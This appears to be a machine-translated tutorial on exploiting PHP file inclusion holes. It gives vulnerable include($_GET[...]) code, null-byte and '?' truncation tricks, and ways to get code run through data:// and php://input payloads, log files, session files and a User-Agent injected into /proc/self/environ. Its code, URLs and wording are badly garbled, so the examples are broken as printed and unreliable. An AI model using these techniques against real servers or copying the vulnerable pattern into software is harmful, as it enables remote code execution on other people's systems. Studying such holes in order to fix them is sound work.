PHP file containing notes

In PHP, you can use the include (), require (), include_once (), and require_once () functions to include files. All included files are executed regardless of their type. When allow_url_include is configured as on, remote files can be included. Otherwise, local files can be included only when off. Another key configuration is open_basedir. This option limits the directories that can be included.

1,CodeExample:

PHP <? Php <br/> include ($ _ Get ['test']); <br/>?>

123	<? PHPInclude($ _ Get['Test']);?>

Local file: 192.168.1.8/test. php? Test2.16a.jpg

Remote File: 192.168.1.8/test. php? Http://www.chuhades.com/index.php

2. Truncation

You can break through some character concatenation by truncation. Code:

php <? Php
$ file =$ _ Get ['test'];
include ($ file. 'abc');
?>

1234	<? PHP$ File=$ _ Get['Test'];Include($ File.'Abcd');?>

In this Code, if you directly 192.168.1.8/test. php? Test‑a.jpg, which contains a.jpg ABCD. If the file does not exist, an error will occur.

Because PHP kernel is implemented in C, string truncation can be performed through 0 bytes.

192.168.1.8/test. php? Test2.16a.jpg % 00

You can also use "?" to include remote files. The following code is interpreted as URL parameters and truncated.

3. Tips for using local files

(1) include the files uploaded by the user. (2) include data ://Or PHP: // input and other pseudo protocols.Http: // 192.168.1.8/test. php? Test = data: text/plain, <? PHPPhpinfo ();?> % 00(3) include SessionFile.(4) include log files, such as Web ServerError_log and access_log.General steps: httpd. conf --> log (5) contains the/proc/self/environ file. Inject PHP code into the User-Agent. (6) include uploaded temporary files.

Http://www.exploit-db.com/download_pdf/17010

(7) include files created by other applications, such as database files, cache files, and application logs.

4. Other functions: fopen () fread ()......

5. Instances

Http://www.wooyun.org/bug.php? Action = List & subtype = 49

Http://www.wooyun.org/bug.php? Action = List & subtype = 15

 

<PHP, file inclusion>